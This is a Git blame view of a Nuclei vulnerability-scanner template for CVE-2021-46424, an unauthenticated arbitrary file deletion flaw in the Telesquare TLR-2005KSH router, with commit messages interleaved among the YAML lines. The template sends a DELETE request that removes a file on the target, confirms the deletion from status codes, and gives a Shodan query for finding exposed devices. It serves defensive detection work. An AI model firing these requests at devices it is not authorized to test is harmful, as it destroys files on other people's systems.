daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-46424.yaml

47 lines
1.4 KiB
YAML
Raw Normal View History

Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
id: CVE-2021-46424
info:
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements
2022-05-18 20:58:07 +00:00
name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
author: gy741
severity: critical
description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
reference:
- https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
Auto Generated CVE annotations [Tue May 17 20:46:49 UTC 2022] :robot:
2022-05-17 20:46:49 +00:00
- https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing
- http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements
2022-05-18 20:58:07 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-46424
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
classification:
Auto Generated CVE annotations [Tue May 17 20:46:49 UTC 2022] :robot:
2022-05-17 20:46:49 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
cvss-score: 9.1
cve-id: CVE-2021-46424
cwe-id: CWE-306
Added CPE and EPSS Score to CVE Templates
2023-04-12 10:55:48 +00:00
epss-score: 0.01117
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
metadata:
Added max request counter of each template
2023-04-28 08:11:21 +00:00
max-request: 3
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
shodan-query: http.html:"TLR-2005KSH"
Auto Generated CVE annotations [Tue May 17 20:46:49 UTC 2022] :robot:
2022-05-17 20:46:49 +00:00
verified: "true"
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot:
2022-08-27 04:41:18 +00:00
tags: cve,cve2021,telesquare,intrusive,packetstorm
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
- raw:
- |
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
GET /images/icons_title.gif HTTP/1.1
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
Host: {{Hostname}}
- |
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
DELETE /images/icons_title.gif HTTP/1.1
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
Host: {{Hostname}}
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
- |
GET /images/icons_title.gif HTTP/1.1
Host: {{Hostname}}
req-condition: true
Create CVE-2021-46424.yaml Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2022-05-17 05:35:45 +00:00
matchers-condition: and
matchers:
Update CVE-2021-46424.yaml
2022-05-17 06:17:22 +00:00
- type: dsl
dsl:
- "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"
Dashboard Content Enhancements (#4426) Dashboard Content Enhancements
2022-05-18 20:58:07 +00:00
# Enhanced by mp on 2022/05/18